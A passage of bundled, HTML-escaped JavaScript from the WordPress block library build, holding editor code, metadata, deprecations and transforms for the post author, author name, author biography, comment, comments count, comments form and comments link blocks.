                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
              import_components104.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n159.__)(&quot;Show bio&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !!showBio,
                onDeselect: () =&gt; setAttributes({ showBio: void 0 }),
                children: /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
                  import_components104.ToggleControl,
                  {
                    label: (0, import_i18n159.__)(&quot;Show bio&quot;),
                    checked: !!showBio,
                    onChange: () =&gt; setAttributes({ showBio: !showBio })
                  }
                )
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
              import_components104.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n159.__)(&quot;Link author name to author page&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; !!isLink,
                onDeselect: () =&gt; setAttributes({ isLink: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
                  import_components104.ToggleControl,
                  {
                    label: (0, import_i18n159.__)(&quot;Link author name to author page&quot;),
                    checked: isLink,
                    onChange: () =&gt; setAttributes({ isLink: !isLink })
                  }
                )
              }
            ),
            isLink &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
              import_components104.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n159.__)(&quot;Link target&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; linkTarget !== &quot;_self&quot;,
                onDeselect: () =&gt; setAttributes({ linkTarget: &quot;_self&quot; }),
                children: /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
                  import_components104.ToggleControl,
                  {
                    label: (0, import_i18n159.__)(&quot;Open in new tab&quot;),
                    onChange: (value) =&gt; setAttributes({
                      linkTarget: value ? &quot;_blank&quot; : &quot;_self&quot;
                    }),
                    checked: linkTarget === &quot;_blank&quot;
                  }
                )
              }
            )
          ]
        }
      ) }),
      blockTypes.some(
        (blockType) =&gt; blockType.name === &quot;core/group&quot;
      ) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(InspectorControlsLastItem, { children: /* @__PURE__ */ (0, import_jsx_runtime356.jsxs)(
        import_components104.__experimentalVStack,
        {
          className: &quot;wp-block-post-author__transform&quot;,
          alignment: &quot;left&quot;,
          spacing: 4,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(import_components104.__experimentalText, { as: &quot;p&quot;, children: (0, import_i18n159.__)(
              &quot;This block is no longer supported. Recreate its design with the Avatar, Author Name and Author Biography blocks.&quot;
            ) }),
            /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
              import_components104.Button,
              {
                variant: &quot;primary&quot;,
                onClick: transformBlock,
                __next40pxDefaultSize: true,
                children: (0, import_i18n159.__)(&quot;Recreate&quot;)
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(import_block_editor180.BlockControls, { group: &quot;block&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
        import_block_editor180.AlignmentControl,
        {
          value: textAlign,
          onChange: (nextAlign) =&gt; {
            setAttributes({ textAlign: nextAlign });
          }
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime356.jsxs)(&quot;div&quot;, { ...blockProps, children: [
        showAvatar &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(&quot;div&quot;, { className: &quot;wp-block-post-author__avatar&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
          &quot;img&quot;,
          {
            width: avatarSize,
            src: authorDetails?.avatar_urls?.[avatarSize] || defaultAvatar,
            alt: authorDetails?.name || (0, import_i18n159.__)(&quot;Default Avatar&quot;)
          }
        ) }),
        /* @__PURE__ */ (0, import_jsx_runtime356.jsxs)(&quot;div&quot;, { className: &quot;wp-block-post-author__content&quot;, children: [
          (!import_block_editor180.RichText.isEmpty(byline) || isSelected) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
            import_block_editor180.RichText,
            {
              identifier: &quot;byline&quot;,
              className: &quot;wp-block-post-author__byline&quot;,
              &quot;aria-label&quot;: (0, import_i18n159.__)(&quot;Post author byline text&quot;),
              placeholder: (0, import_i18n159.__)(&quot;Write byline\u2026&quot;),
              value: byline,
              onChange: (value) =&gt; setAttributes({ byline: value })
            }
          ),
          /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(&quot;p&quot;, { className: &quot;wp-block-post-author__name&quot;, children: isLink ? /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
            &quot;a&quot;,
            {
              href: &quot;#post-author-pseudo-link&quot;,
              onClick: (event) =&gt; event.preventDefault(),
              children: authorName
            }
          ) : authorName }),
          showBio &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime356.jsx)(
            &quot;p&quot;,
            {
              className: &quot;wp-block-post-author__bio&quot;,
              dangerouslySetInnerHTML: {
                __html: authorDetails?.description
              }
            }
          )
        ] })
      ] })
    ] });
  }
  var edit_default25 = PostAuthorEdit;

  // packages/block-library/build-module/post-author/index.mjs
  var { name: name66 } = block_default65;
  var settings65 = {
    icon: post_author_default,
    example: {
      viewportWidth: 350,
      attributes: {
        showBio: true,
        byline: (0, import_i18n160.__)(&quot;Posted by&quot;)
      }
    },
    edit: edit_default25
  };
  var init65 = () =&gt; initBlock({ name: name66, metadata: block_default65, settings: settings65 });

  // packages/block-library/build-module/post-author-name/index.mjs
  var post_author_name_exports = {};
  __export(post_author_name_exports, {
    init: () =&gt; init66,
    metadata: () =&gt; block_default66,
    name: () =&gt; name67,
    settings: () =&gt; settings66
  });

  // packages/block-library/build-module/post-author-name/block.json
  var block_default66 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/post-author-name&quot;,
    title: &quot;Author Name&quot;,
    category: &quot;theme&quot;,
    description: &quot;The author name.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      isLink: {
        type: &quot;boolean&quot;,
        default: false,
        role: &quot;content&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        default: &quot;_self&quot;,
        role: &quot;content&quot;
      }
    },
    usesContext: [&quot;postType&quot;, &quot;postId&quot;],
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: &quot;wp-block-post-author-name&quot;
  };

  // packages/block-library/build-module/post-author-name/edit.mjs
  var import_block_editor181 = __toESM(require_block_editor(), 1);
  var import_data100 = __toESM(require_data(), 1);
  var import_i18n161 = __toESM(require_i18n(), 1);
  var import_core_data55 = __toESM(require_core_data(), 1);
  var import_components105 = __toESM(require_components(), 1);
  var import_jsx_runtime357 = __toESM(require_jsx_runtime(), 1);
  function PostAuthorNameEdit(props) {
    useDeprecatedTextAlign(props);
    const {
      attributes: { isLink, linkTarget },
      setAttributes,
      context: { postType, postId }
    } = props;
    const { authorName, supportsAuthor } = (0, import_data100.useSelect)(
      (select9) =&gt; {
        const { getEditedEntityRecord, getUser, getPostType } = select9(import_core_data55.store);
        const _authorId = getEditedEntityRecord(
          &quot;postType&quot;,
          postType,
          postId
        )?.author;
        return {
          authorName: _authorId ? getUser(_authorId) : null,
          supportsAuthor: getPostType(postType)?.supports?.author ?? false
        };
      },
      [postType, postId]
    );
    const blockProps = (0, import_block_editor181.useBlockProps)();
    const displayName = authorName?.name || (0, import_i18n161.__)(&quot;Author Name&quot;);
    const displayAuthor = isLink ? /* @__PURE__ */ (0, import_jsx_runtime357.jsx)(
      &quot;a&quot;,
      {
        href: &quot;#author-pseudo-link&quot;,
        onClick: (event) =&gt; event.preventDefault(),
        className: &quot;wp-block-post-author-name__link&quot;,
        children: displayName
      }
    ) : displayName;
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime357.jsxs)(import_jsx_runtime357.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime357.jsx)(import_block_editor181.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime357.jsxs)(
        import_components105.__experimentalToolsPanel,
        {
          label: (0, import_i18n161.__)(&quot;Settings&quot;),
          resetAll: () =&gt; {
            setAttributes({
              isLink: false,
              linkTarget: &quot;_self&quot;
            });
          },
          dropdownMenuProps,
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime357.jsx)(
              import_components105.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n161.__)(&quot;Link to author archive&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; isLink,
                onDeselect: () =&gt; setAttributes({ isLink: false }),
                children: /* @__PURE__ */ (0, import_jsx_runtime357.jsx)(
                  import_components105.ToggleControl,
                  {
                    label: (0, import_i18n161.__)(&quot;Link to author archive&quot;),
                    onChange: () =&gt; setAttributes({ isLink: !isLink }),
                    checked: isLink
                  }
                )
              }
            ),
            isLink &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime357.jsx)(
              import_components105.__experimentalToolsPanelItem,
              {
                label: (0, import_i18n161.__)(&quot;Open in new tab&quot;),
                isShownByDefault: true,
                hasValue: () =&gt; linkTarget !== &quot;_self&quot;,
                onDeselect: () =&gt; setAttributes({ linkTarget: &quot;_self&quot; }),
                children: /* @__PURE__ */ (0, import_jsx_runtime357.jsx)(
                  import_components105.ToggleControl,
                  {
                    label: (0, import_i18n161.__)(&quot;Open in new tab&quot;),
                    onChange: (value) =&gt; setAttributes({
                      linkTarget: value ? &quot;_blank&quot; : &quot;_self&quot;
                    }),
                    checked: linkTarget === &quot;_blank&quot;
                  }
                )
              }
            )
          ]
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime357.jsx)(&quot;div&quot;, { ...blockProps, children: !supportsAuthor &amp;&amp; postType !== void 0 ? (0, import_i18n161.sprintf)(
        // translators: %s: Name of the post type e.g: &quot;post&quot;.
        (0, import_i18n161.__)(
          &quot;This post type (%s) does not support the author.&quot;
        ),
        postType
      ) : displayAuthor })
    ] });
  }
  var edit_default26 = PostAuthorNameEdit;

  // packages/block-library/build-module/post-author-name/deprecated.mjs
  var v125 = {
    attributes: {
      isLink: {
        type: &quot;boolean&quot;,
        default: false,
        role: &quot;content&quot;
      },
      linkTarget: {
        type: &quot;string&quot;,
        default: &quot;_self&quot;,
        role: &quot;content&quot;
      },
      textAlign: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () =&gt; null
  };
  var deprecated_default30 = [v125];

  // packages/block-library/build-module/post-author-name/transforms.mjs
  var import_blocks80 = __toESM(require_blocks(), 1);
  var transforms22 = {
    from: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/post-author&quot;],
        transform: ({ textAlign }) =&gt; (0, import_blocks80.createBlock)(&quot;core/post-author-name&quot;, {
          style: { typography: { textAlign } }
        })
      }
    ]
  };
  var transforms_default23 = transforms22;

  // packages/block-library/build-module/post-author-name/index.mjs
  var { name: name67 } = block_default66;
  var settings66 = {
    icon: post_author_default,
    transforms: transforms_default23,
    edit: edit_default26,
    deprecated: deprecated_default30
  };
  var init66 = () =&gt; initBlock({ name: name67, metadata: block_default66, settings: settings66 });

  // packages/block-library/build-module/post-author-biography/index.mjs
  var post_author_biography_exports = {};
  __export(post_author_biography_exports, {
    init: () =&gt; init67,
    metadata: () =&gt; block_default67,
    name: () =&gt; name68,
    settings: () =&gt; settings67
  });

  // packages/block-library/build-module/post-author-biography/block.json
  var block_default67 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/post-author-biography&quot;,
    title: &quot;Author Biography&quot;,
    category: &quot;theme&quot;,
    description: &quot;The author biography.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [&quot;postType&quot;, &quot;postId&quot;],
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    style: &quot;wp-block-post-author-biography&quot;
  };

  // packages/block-library/build-module/post-author-biography/edit.mjs
  var import_block_editor182 = __toESM(require_block_editor(), 1);
  var import_data101 = __toESM(require_data(), 1);
  var import_i18n162 = __toESM(require_i18n(), 1);
  var import_core_data56 = __toESM(require_core_data(), 1);
  var import_jsx_runtime358 = __toESM(require_jsx_runtime(), 1);
  function PostAuthorBiographyEdit(props) {
    useDeprecatedTextAlign(props);
    const {
      context: { postType, postId }
    } = props;
    const { authorDetails } = (0, import_data101.useSelect)(
      (select9) =&gt; {
        const { getEditedEntityRecord, getUser } = select9(import_core_data56.store);
        const _authorId = getEditedEntityRecord(
          &quot;postType&quot;,
          postType,
          postId
        )?.author;
        return {
          authorDetails: _authorId ? getUser(_authorId) : null
        };
      },
      [postType, postId]
    );
    const blockProps = (0, import_block_editor182.useBlockProps)();
    const displayAuthorBiography = authorDetails?.description || (0, import_i18n162.__)(&quot;Author Biography&quot;);
    return /* @__PURE__ */ (0, import_jsx_runtime358.jsx)(import_jsx_runtime358.Fragment, { children: /* @__PURE__ */ (0, import_jsx_runtime358.jsx)(
      &quot;div&quot;,
      {
        ...blockProps,
        dangerouslySetInnerHTML: { __html: displayAuthorBiography }
      }
    ) });
  }
  var edit_default27 = PostAuthorBiographyEdit;

  // packages/block-library/build-module/post-author-biography/deprecated.mjs
  var v126 = {
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () =&gt; null
  };
  var deprecated_default31 = [v126];

  // packages/block-library/build-module/post-author-biography/index.mjs
  var { name: name68 } = block_default67;
  var settings67 = {
    icon: post_author_default,
    edit: edit_default27,
    deprecated: deprecated_default31
  };
  var init67 = () =&gt; initBlock({ name: name68, metadata: block_default67, settings: settings67 });

  // packages/block-library/build-module/post-comment/index.mjs
  var post_comment_exports = {};
  __export(post_comment_exports, {
    init: () =&gt; init68,
    metadata: () =&gt; block_default68,
    name: () =&gt; name69,
    settings: () =&gt; settings68
  });

  // packages/block-library/build-module/post-comment/block.json
  var block_default68 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    __experimental: &quot;fse&quot;,
    name: &quot;core/post-comment&quot;,
    title: &quot;Comment (deprecated)&quot;,
    category: &quot;theme&quot;,
    allowedBlocks: [
      &quot;core/avatar&quot;,
      &quot;core/comment-author-name&quot;,
      &quot;core/comment-content&quot;,
      &quot;core/comment-date&quot;,
      &quot;core/comment-edit-link&quot;,
      &quot;core/comment-reply-link&quot;
    ],
    description: &quot;This block is deprecated. Please use the Comments block instead.&quot;,
    textdomain: &quot;default&quot;,
    attributes: {
      commentId: {
        type: &quot;number&quot;
      }
    },
    providesContext: {
      commentId: &quot;commentId&quot;
    },
    supports: {
      html: false,
      inserter: false,
      interactivity: {
        clientNavigation: true
      }
    }
  };

  // packages/block-library/build-module/post-comment/edit.mjs
  var import_i18n163 = __toESM(require_i18n(), 1);
  var import_components106 = __toESM(require_components(), 1);
  var import_element92 = __toESM(require_element(), 1);
  var import_block_editor183 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime359 = __toESM(require_jsx_runtime(), 1);
  var TEMPLATE11 = [
    [&quot;core/avatar&quot;],
    [&quot;core/comment-author-name&quot;],
    [&quot;core/comment-date&quot;],
    [&quot;core/comment-content&quot;],
    [&quot;core/comment-reply-link&quot;],
    [&quot;core/comment-edit-link&quot;]
  ];
  function Edit18({ attributes: { commentId }, setAttributes }) {
    const [commentIdInput, setCommentIdInput] = (0, import_element92.useState)(commentId);
    const blockProps = (0, import_block_editor183.useBlockProps)();
    const innerBlocksProps = (0, import_block_editor183.useInnerBlocksProps)(blockProps, {
      template: TEMPLATE11
    });
    if (!commentId) {
      return /* @__PURE__ */ (0, import_jsx_runtime359.jsx)(&quot;div&quot;, { ...blockProps, children: /* @__PURE__ */ (0, import_jsx_runtime359.jsxs)(
        import_components106.Placeholder,
        {
          icon: block_default_default,
          label: (0, import_i18n163._x)(&quot;Post Comment&quot;, &quot;block title&quot;),
          instructions: (0, import_i18n163.__)(
            &quot;To show a comment, input the comment ID.&quot;
          ),
          children: [
            /* @__PURE__ */ (0, import_jsx_runtime359.jsx)(
              import_components106.TextControl,
              {
                __next40pxDefaultSize: true,
                value: commentId,
                onChange: (val) =&gt; setCommentIdInput(parseInt(val))
              }
            ),
            /* @__PURE__ */ (0, import_jsx_runtime359.jsx)(
              import_components106.Button,
              {
                __next40pxDefaultSize: true,
                variant: &quot;primary&quot;,
                onClick: () =&gt; {
                  setAttributes({ commentId: commentIdInput });
                },
                children: (0, import_i18n163.__)(&quot;Save&quot;)
              }
            )
          ]
        }
      ) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime359.jsx)(&quot;div&quot;, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/post-comment/save.mjs
  var import_block_editor184 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime360 = __toESM(require_jsx_runtime(), 1);
  function save38() {
    const blockProps = import_block_editor184.useBlockProps.save();
    const innerBlocksProps = import_block_editor184.useInnerBlocksProps.save(blockProps);
    return /* @__PURE__ */ (0, import_jsx_runtime360.jsx)(&quot;div&quot;, { ...innerBlocksProps });
  }

  // packages/block-library/build-module/post-comment/index.mjs
  var { name: name69 } = block_default68;
  var settings68 = {
    icon: comment_default,
    edit: Edit18,
    save: save38
  };
  var init68 = () =&gt; initBlock({ name: name69, metadata: block_default68, settings: settings68 });

  // packages/block-library/build-module/post-comments-count/index.mjs
  var post_comments_count_exports = {};
  __export(post_comments_count_exports, {
    init: () =&gt; init69,
    metadata: () =&gt; block_default69,
    name: () =&gt; name70,
    settings: () =&gt; settings69
  });

  // packages/block-library/build-module/post-comments-count/block.json
  var block_default69 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/post-comments-count&quot;,
    title: &quot;Comments Count&quot;,
    category: &quot;theme&quot;,
    description: &quot;Display a post&#039;s comments count.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [&quot;postId&quot;],
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      html: false,
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      interactivity: {
        clientNavigation: true
      }
    },
    style: &quot;wp-block-post-comments-count&quot;
  };

  // packages/block-library/build-module/post-comments-count/edit.mjs
  var import_block_editor185 = __toESM(require_block_editor(), 1);
  var import_element93 = __toESM(require_element(), 1);
  var import_api_fetch3 = __toESM(require_api_fetch(), 1);
  var import_url17 = __toESM(require_url(), 1);
  var import_jsx_runtime361 = __toESM(require_jsx_runtime(), 1);
  function PostCommentsCountEdit({ context }) {
    const { postId } = context;
    const [commentsCount, setCommentsCount] = (0, import_element93.useState)();
    const blockProps = (0, import_block_editor185.useBlockProps)();
    (0, import_element93.useEffect)(() =&gt; {
      if (!postId) {
        return;
      }
      const currentPostId = postId;
      (0, import_api_fetch3.default)({
        path: (0, import_url17.addQueryArgs)(&quot;/wp/v2/comments&quot;, {
          post: postId
        }),
        parse: false
      }).then((res) =&gt; {
        if (currentPostId === postId) {
          setCommentsCount(res.headers.get(&quot;X-WP-Total&quot;));
        }
      });
    }, [postId]);
    const hasPostAndComments = postId &amp;&amp; commentsCount !== void 0;
    const blockStyles = {
      ...blockProps.style,
      textDecoration: hasPostAndComments ? blockProps.style?.textDecoration : void 0
    };
    return /* @__PURE__ */ (0, import_jsx_runtime361.jsx)(&quot;div&quot;, { ...blockProps, style: blockStyles, children: hasPostAndComments ? commentsCount : &quot;0&quot; });
  }

  // packages/block-library/build-module/post-comments-count/transforms.mjs
  var import_blocks81 = __toESM(require_blocks(), 1);
  var transforms23 = {
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/post-comments-link&quot;],
        transform: ({ style: style2 }) =&gt; {
          const textAlign = style2?.typography?.textAlign;
          return (0, import_blocks81.createBlock)(&quot;core/post-comments-link&quot;, {
            ...textAlign &amp;&amp; {
              style: {
                typography: {
                  textAlign
                }
              }
            }
          });
        }
      }
    ]
  };
  var transforms_default24 = transforms23;

  // packages/block-library/build-module/post-comments-count/deprecated.mjs
  var v127 = {
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      }
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () =&gt; null
  };
  var deprecated_default32 = [v127];

  // packages/block-library/build-module/post-comments-count/index.mjs
  var { name: name70 } = block_default69;
  var settings69 = {
    icon: post_comments_count_default,
    edit: PostCommentsCountEdit,
    transforms: transforms_default24,
    deprecated: deprecated_default32
  };
  var init69 = () =&gt; initBlock({ name: name70, metadata: block_default69, settings: settings69 });

  // packages/block-library/build-module/post-comments-form/index.mjs
  var post_comments_form_exports = {};
  __export(post_comments_form_exports, {
    init: () =&gt; init70,
    metadata: () =&gt; block_default70,
    name: () =&gt; name71,
    settings: () =&gt; settings70
  });

  // packages/block-library/build-module/post-comments-form/block.json
  var block_default70 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/post-comments-form&quot;,
    title: &quot;Comments Form&quot;,
    category: &quot;theme&quot;,
    description: &quot;Display a post&#039;s comments form.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [&quot;postId&quot;, &quot;postType&quot;],
    supports: {
      anchor: true,
      html: false,
      color: {
        gradients: true,
        heading: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontStyle: true,
        __experimentalFontWeight: true,
        __experimentalLetterSpacing: true,
        __experimentalTextTransform: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    editorStyle: &quot;wp-block-post-comments-form-editor&quot;,
    style: [
      &quot;wp-block-post-comments-form&quot;,
      &quot;wp-block-buttons&quot;,
      &quot;wp-block-button&quot;
    ],
    example: {
      attributes: {
        style: {
          typography: {
            textAlign: &quot;center&quot;
          }
        }
      }
    }
  };

  // packages/block-library/build-module/post-comments-form/edit.mjs
  var import_block_editor186 = __toESM(require_block_editor(), 1);
  var import_components107 = __toESM(require_components(), 1);
  var import_compose43 = __toESM(require_compose(), 1);
  var import_i18n164 = __toESM(require_i18n(), 1);
  var import_jsx_runtime362 = __toESM(require_jsx_runtime(), 1);
  function PostCommentsFormEdit({ context }) {
    const { postId, postType } = context;
    const instanceId = (0, import_compose43.useInstanceId)(PostCommentsFormEdit);
    const instanceIdDesc = (0, import_i18n164.sprintf)(&quot;comments-form-edit-%d-desc&quot;, instanceId);
    const blockProps = (0, import_block_editor186.useBlockProps)({
      &quot;aria-describedby&quot;: instanceIdDesc
    });
    return /* @__PURE__ */ (0, import_jsx_runtime362.jsxs)(&quot;div&quot;, { ...blockProps, children: [
      /* @__PURE__ */ (0, import_jsx_runtime362.jsx)(form_default, { postId, postType }),
      /* @__PURE__ */ (0, import_jsx_runtime362.jsx)(import_components107.VisuallyHidden, { id: instanceIdDesc, children: (0, import_i18n164.__)(&quot;Comments form disabled in editor.&quot;) })
    ] });
  }

  // packages/block-library/build-module/post-comments-form/deprecated.mjs
  var v128 = {
    attributes: {
      textAlign: {
        type: &quot;string&quot;
      }
    },
    supports: {
      anchor: true,
      html: false,
      spacing: {
        margin: true,
        padding: true
      },
      color: {
        gradients: true,
        heading: true,
        link: true,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true,
        __experimentalDefaultControls: {
          radius: true,
          color: true,
          width: true,
          style: true
        }
      }
    },
    migrate: migrate_text_align_default,
    isEligible(attributes2) {
      return !!attributes2.textAlign || !!attributes2.className?.match(
        /\bhas-text-align-(left|center|right)\b/
      );
    },
    save: () =&gt; null
  };
  var deprecated_default33 = [v128];

  // packages/block-library/build-module/post-comments-form/index.mjs
  var { name: name71 } = block_default70;
  var settings70 = {
    icon: post_comments_form_default,
    edit: PostCommentsFormEdit,
    deprecated: deprecated_default33
  };
  var init70 = () =&gt; initBlock({ name: name71, metadata: block_default70, settings: settings70 });

  // packages/block-library/build-module/post-comments-link/index.mjs
  var post_comments_link_exports = {};
  __export(post_comments_link_exports, {
    init: () =&gt; init71,
    metadata: () =&gt; block_default71,
    name: () =&gt; name72,
    settings: () =&gt; settings71
  });

  // packages/block-library/build-module/post-comments-link/block.json
  var block_default71 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/post-comments-link&quot;,
    title: &quot;Comments Link&quot;,
    category: &quot;theme&quot;,
    description: &quot;Displays the link to the current post comments.&quot;,
    textdomain: &quot;default&quot;,
    usesContext: [&quot;postType&quot;, &quot;postId&quot;],
    example: {
      viewportWidth: 350
    },
    supports: {
      anchor: true,
      html: false,
      color: {
        link: true,
        text: false,
        __experimentalDefaultControls: {
          background: true,
          link: true
        }
      },
      spacing: {
        margin: true,
        padding: true
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        textAlign: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
